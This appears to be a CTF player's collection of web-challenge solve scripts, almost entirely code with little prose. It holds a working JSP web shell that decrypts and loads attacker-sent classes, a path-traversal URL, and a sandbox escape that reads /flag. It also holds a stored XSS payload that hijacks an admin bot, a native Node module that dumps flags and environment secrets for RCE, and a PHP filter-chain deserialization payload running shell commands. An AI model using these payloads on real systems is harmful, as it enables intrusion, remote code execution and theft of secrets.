Web

username = "Hacker";
startTime = Date.now() - 10000; 
completeChallenge();

var myName = "Rank1_Breaker";

fetch('/api/submit', {
    method: 'POST',
    headers: { 'Content-Type': 'application/json' },
    body: JSON.stringify({ 
        username: myName, 
        elapsed_time: -1000  // 负数时间
    })
})
.then(response => response.json())
.then(data => {
    console.log("攻击结果：", data);
})
.catch(err => console.error("请求失败:", err));

<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%>
<%!
    class U extends ClassLoader {
        U(ClassLoader c) {
            super(c);
        }
        public Class g(byte[] b) {
            return super.defineClass(b, 0, b.length);
        }
    }
%>
<%
    if (request.getMethod().equals("POST")) {
        String k = "e45e329feb5d925b";
        session.setAttribute("u", k);
        Cipher c = Cipher.getInstance("AES");
        c.init(2, new SecretKeySpec(k.getBytes(), "AES"));
        new U(this.getClass().getClassLoader())
            .g(c.doFinal(Base64.getDecoder().decode(request.getReader().readLine())))
            .newInstance()
            .equals(pageContext);
    }
%>

# 哎，还要用老版本的 java 编译器
D:\Software\Java\jdk-17\bin\java.exe -jar Behinder.jar

http://127.0.0.1:12152/?file=../Microsoft.NET/assembly/GAC_MSIL/System.IO.log/../../../../../f>>>.t>>

import os

def secure(){
  try{
    os.chroot("/tmp")
    os.chdir("/")
  }
  except Exception{
    pass
  }
  try{
    os.setgid(65534)
    os.setuid(65534)
  }
  except Exception{
    pass
  }
}

if os.access("/flag", os.R_OK){
  # No!!! How can you access flag? :(
  secure()
}

import urllib.request
import urllib.parse
import uuid
import re
import time
import http.cookiejar

cj = http.cookiejar.CookieJar()
opener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj))
urllib.request.install_opener(opener)

BASE_URL = "http://127.0.0.1:3534"

def upload(filename, content):
    boundary = uuid.uuid4().hex
    data = []
    data.append(f'--{boundary}')
    data.append(f'Content-Disposition: form-data; name="file"; filename="{filename}"')
    data.append('Content-Type: application/octet-stream')
    data.append('')
    data.append(content)
    data.append(f'--{boundary}--')
    data.append('')

    body = '\r\n'.join(data).encode('utf-8')
    req = urllib.request.Request(f"{BASE_URL}/upload", data=body)
    req.add_header('Content-Type', f'multipart/form-data; boundary={boundary}')
    try:
        with urllib.request.urlopen(req) as response:
            return response.read().decode('utf-8')
    except urllib.error.HTTPError as e:
        return e.read().decode('utf-8')

def run_file(filename):
    req = urllib.request.Request(f"{BASE_URL}/run/{filename}", method="POST")
    try:
        with urllib.request.urlopen(req) as response:
            return response.read().decode('utf-8')
    except urllib.error.HTTPError as e:
        return e.read().decode('utf-8')

# Create fake os.by
os_payload = """import sandbox

R_OK = 4
def access(path, mode){
    return False
}
def chroot(path){ pass }
def chdir(path){ pass }
def setgid(gid){ pass }
def setuid(uid){ pass }
"""
print("[*] Uploading os.by...")
upload("os.by", os_payload)
# Run os.by to generate os.py
print("[*] Running os.by to generate os.py...")
run_file("os.by")

# Create exp.by
exp_payload = """import sandbox
try{
    with open("/flag", "r") as f{
        print(f.read())
    }
} except Exception as e{
    print(e)
}
"""
print("[*] Uploading exp.by...")
upload("exp.by", exp_payload)
# Run exp.by
print("[*] Running exp.by...")
response = run_file("exp.by")

# Extract flag
match = re.search(r"Output:\n((?:GZ|ZJU)CTF\{.*?\})", response, re.DOTALL)
if match:
    print(f"[+] Flag: {match.group(1)}")
else:
    print("[-] Flag not found in output.")
    out_match = re.search(r"Output:\n(.*?)(?:</div>|$)", response, re.DOTALL)
    if out_match:
        print(f"Output was: {out_match.group(1).strip()}")
    else:
        # Check for errors
        err_match = re.search(r"Errors:\n(.*?)(?:</div>|$)", response, re.DOTALL)
        if err_match:
            print(f"Error was: {err_match.group(1).strip()}")
        else:
            print("No output or error found.")
            print("Response snippet:")
            print(response[:1000])

<td>
  <%- p.abstract.length > 100 
      ? p.abstract.substring(0,100) + '…' 
      : p.abstract %>
</td>

<p><strong>Abstract:</strong> <pre><%- paper.abstract %></pre></p>

import requests
import time
import re
import sys

TARGET = "http://127.0.0.1:2669"

s = requests.Session()
username = f"attacker_{int(time.time())}"
password = "password123"
email = f"{username}@evil.com"

print(f"[*] Registering user: {username}")
register_data = {
    "username": username,
    "email": email,
    "password": password
}
try:
    r = s.post(f"{TARGET}/register", data=register_data)
    if r.status_code != 200:
        print(f"[-] Registration failed: {r.status_code}")
except Exception as e:
    print(f"[-] Connection error: {e}")
    return
print(f"[*] Logging in...")
login_data = {
    "username": username,
    "password": password
}
r = s.post(f"{TARGET}/login", data=login_data)
if "Invalid credentials" in r.text:
    print("[-] Login failed")
    return

padding = "A" * 105
script = """<img src=x onerror="
(async()=>{
  const rows = document.querySelectorAll('tr[data-paper-id]');
  for(let row of rows){
    const badge = row.querySelector('.badge');
    if(badge && badge.textContent.trim() === 'Under Review'){
      // 1. 立即修改 DOM，破坏 Bot 的检查条件
      badge.textContent = 'Accept';

      // 2. 发送请求修改数据库状态
      const id = row.dataset.paperId;
      await fetch(`/admin/papers/${id}/status`, {
        method: 'POST',
        headers: {'Content-Type': 'application/x-www-form-urlencoded'},
        body: 'status=Accept',
        credentials: 'include'
      });
    }
  }
})()
">"""

xss_payload = padding + script
print(f"[*] Submitting paper with XSS payload...")
# 创建一个最小的有效 PDF
pdf_content = b'%PDF-1.4\n1 0 obj<</Type/Catalog/Pages 2 0 R>>endobj 2 0 obj<</Type/Pages/Count 1/Kids[3 0 R]>>endobj 3 0 obj<</Type/Page/MediaBox[0 0 612 792]/Parent 2 0 R/Resources<<>>>>endobj\nxref\n0 4\n0000000000 65535 f\n0000000009 00000 n\n0000000056 00000 n\n0000000115 00000 n\ntrailer<</Size 4/Root 1 0 R>>\nstartxref\n210\n%%EOF'

files = {
    'pdf': ('exploit.pdf', pdf_content, 'application/pdf')
}
data = {
    'abstract': xss_payload,
    'workers': 'Hacker, hacker@example.com '
}

r = s.post(f"{TARGET}/papers/new", data=data, files=files)
r = s.get(f"{TARGET}/papers")

match = re.search(r'/papers/(\d+)/view', r.text)
if not match:
    print("[-] Could not find paper ID in /papers list")
    return

paper_id = match.group(1)
print(f"[+] Paper submitted. ID: {paper_id}")
print(f"[*] Waiting 12 seconds for status to become 'Under Review'...")
time.sleep(12)
print(f"[*] Triggering Admin Bot (Report)...")
r = s.post(f"{TARGET}/papers/{paper_id}/report")
print(f"[*] Report response: {r.status_code} {r.text}")

if r.status_code == 429:
    print("[-] Rate limited or report already in progress. Waiting and retrying...")
    time.sleep(5)
    r = s.post(f"{TARGET}/papers/{paper_id}/report")
print(f"[*] Waiting 5 seconds for XSS to execute...")
time.sleep(5)
print(f"[*] Checking if paper is Accepted...")
r = s.get(f"{TARGET}/papers/{paper_id}/view")

if "Congratulations" in r.text:
    print("[+] SUCCESS! Flag found:")
    flag_match = re.search(r'(ZJUCTF\{.+?\}|flag\{.+?\})', r.text)
    if flag_match:
        print(f"\n    {flag_match.group(1)}\n")
    else:
        print("[-] Could not regex match flag, but 'Congratulations' text is present.")
        print(r.text)
else:
    print("[-] Failed. Paper status is not Accept or flag not found.")
    status_match = re.search(r'<span class="badge bg-[^"]+">([^<]+)</span>', r.text)
    if status_match:
        print(f"[*] Current status: {status_match.group(1)}")
    else:
        print("[*] Could not determine status.")

RUN sed -i '127c\    if (newPath && /app\.js|\\\\|\\.ejs|\\.js/i.test(newPath)) {' app.js
RUN sed -i '138c\    if (newFilePath.endsWith(".ejs") || newFilePath.endsWith(".js")) {' app.js

if (username === 'admin'){ // 'Admin'
    return res.status(400).send('you can not be admin');
}
const new_username = username.toUpperCase()

if (new_username === admin.username && password === admin.password) {
    req.session.user = "ADMIN";
    res.redirect('/rename');
}

#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>

void __attribute__((constructor)) init() {
    system("cp /flag /app/AWDP-WEB-ezjs/uploads/flag.txt");
    system("env > /app/AWDP-WEB-ezjs/uploads/env.txt");
    // Make it readable
    system("chmod 777 /app/AWDP-WEB-ezjs/uploads/flag.txt");
    system("chmod 777 /app/AWDP-WEB-ezjs/uploads/env.txt");
}
// gcc -shared -fPIC -o pwn.node pwn.c

import requests
import time
import sys

TARGET = "http://127.0.0.1:10036"
SESSION = requests.Session()

def login():
    print("[*] Logging in as ADMIN...")
    # Bypass check with "Admin"
    try:
        r = SESSION.post(f"{TARGET}/login", data={"username": "Admin", "password": "123456"})
        # If successful, it redirects to /rename, which returns 400 because of missing params
        if "/rename" in r.url:
            print("[+] Login successful (redirected to /rename)")
            return True
        elif r.status_code == 200 and "rename" in r.text:
             print("[+] Login successful")
             return True
        else:
            print(f"[-] Login failed: {r.status_code}")
            print(f"[-] Response text: {r.text}")
            return False
    except Exception as e:
        print(f"[-] Connection failed: {e}")
        sys.exit(1)

def upload_file(filename, content):
    print(f"[*] Uploading {filename}...")
    files = {'fileInput': (filename, content, 'text/plain')}
    r = SESSION.post(f"{TARGET}/upload", files=files)
    if r.status_code == 200:
        print(f"[+] Uploaded {filename}")
        return True
    else:
        print(f"[-] Failed to upload {filename}: {r.text}")
        return False

def rename_file(old_path, new_path):
    print(f"[*] Renaming {old_path} to {new_path}...")
    params = {"oldPath": old_path, "newPath": new_path}
    r = SESSION.get(f"{TARGET}/rename", params=params)
    if r.status_code == 200:
        print(f"[+] Renamed to {new_path}")
        return True
    else:
        print(f"[-] Failed to rename: {r.text}")
        return False


if not login():
    exit(0)

pkg_json = '{"main": "index.cjs"}'
if not upload_file("pkg.json", pkg_json): exit(0)

print("[*] Deploying index.node payload...")

try:
    with open("/home/darstib/zjuctf2025/web/ezjs_revenge/pwn.node", "rb") as f:
        node_content = f.read()
except Exception as e:
    print(f"[-] Failed to read pwn.node: {e}")
    exit(0)

print(f"[*] Uploading pwn.node ({len(node_content)} bytes)...")
files = {'fileInput': ('pwn.node', node_content, 'application/octet-stream')}
r = SESSION.post(f"{TARGET}/upload", files=files)
if r.status_code == 200:
    print(f"[+] Uploaded pwn.node")
else:
    print(f"[-] Failed to upload pwn.node: {r.text}")
    exit(0)
# Rename to ../node_modules/pwn/index.node
if not rename_file("pwn.node", "../node_modules/pwn/index.node"): exit(0)

if not upload_file("trigger.txt", "nothing") : exit(0)
if not rename_file("trigger.txt", "trigger.pwn"): exit(0)
# Trigger RCE
print("[*] Triggering RCE via render...")
r = SESSION.get(f"{TARGET}/render", params={"filename": "trigger.pwn"})
print(f"[+] Render response: {r.status_code}")

print("[*] Fetching flag from env...")
r = requests.get(f"{TARGET}/env.txt")
if r.status_code == 200:
    if "FLAG" in r.text:
        import re
        flag = re.search(r'FLAG=(.+)', r.text)
        if flag:
            print(f"\nFLAG: {flag.group(1)}")
        else:
            print(f"\nENV DUMP:\n{r.text}")
    else:
         print(f"\nENV DUMP (No FLAG found):\n{r.text}")
else:
    print(f"[-] Env not found in response: {r.status_code}")
    # Try flag.txt just in case
    r = requests.get(f"{TARGET}/flag.txt")
    if r.status_code == 200:
         print(f"\nFLAG (from file): {r.text.strip()}")

$ wget https://raw.githubusercontent.com/synacktiv/php_filter_chain_generator/main/php_filter_chain_generator.py
$ python3 php_filter_chain_generator.py --chain '<?php system("cat /f*"); ?>' > payload.txt # 手动移除第一行
$ php -r '
class Logger { public $handler; }
class Stack { public $items; }
class Printer { public $text; }
class File { public $filename; }

$file = new File();
$file->filename = file_get_contents("payload.txt");

$printer = new Printer();
$printer->text = $file;
$stack = new Stack();
$stack->items = array($printer);
$logger = new Logger();
$logger->handler = $stack;

echo serialize($logger);
' > final_data.txt

curl -s -X POST http://127.0.0.1:6477/ --data-urlencode " data@final_data.txt "